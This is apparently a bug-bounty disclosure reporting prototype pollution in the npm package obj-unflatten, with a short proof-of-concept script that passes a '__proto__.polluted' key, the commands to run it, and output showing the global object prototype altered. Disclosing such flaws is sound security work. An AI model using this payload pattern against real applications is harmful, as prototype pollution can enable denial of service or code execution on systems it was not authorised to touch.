Prototype Pollution in ionicabizau/obj-unflatten


Reported on

Dec 17th 2020


obj-unflatten convert flatten objects in nested ones. This package is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const unflatten = require('obj-unflatten')
console.log('Before: ' + {}.polluted)
unflatten({'__proto__.polluted': 'Prototype Polluted!'})
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i obj-unflatten # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: Prototype Polluted!


Prototype Pollution leads to Information Disclosure/DoS/RCE.

to join this conversation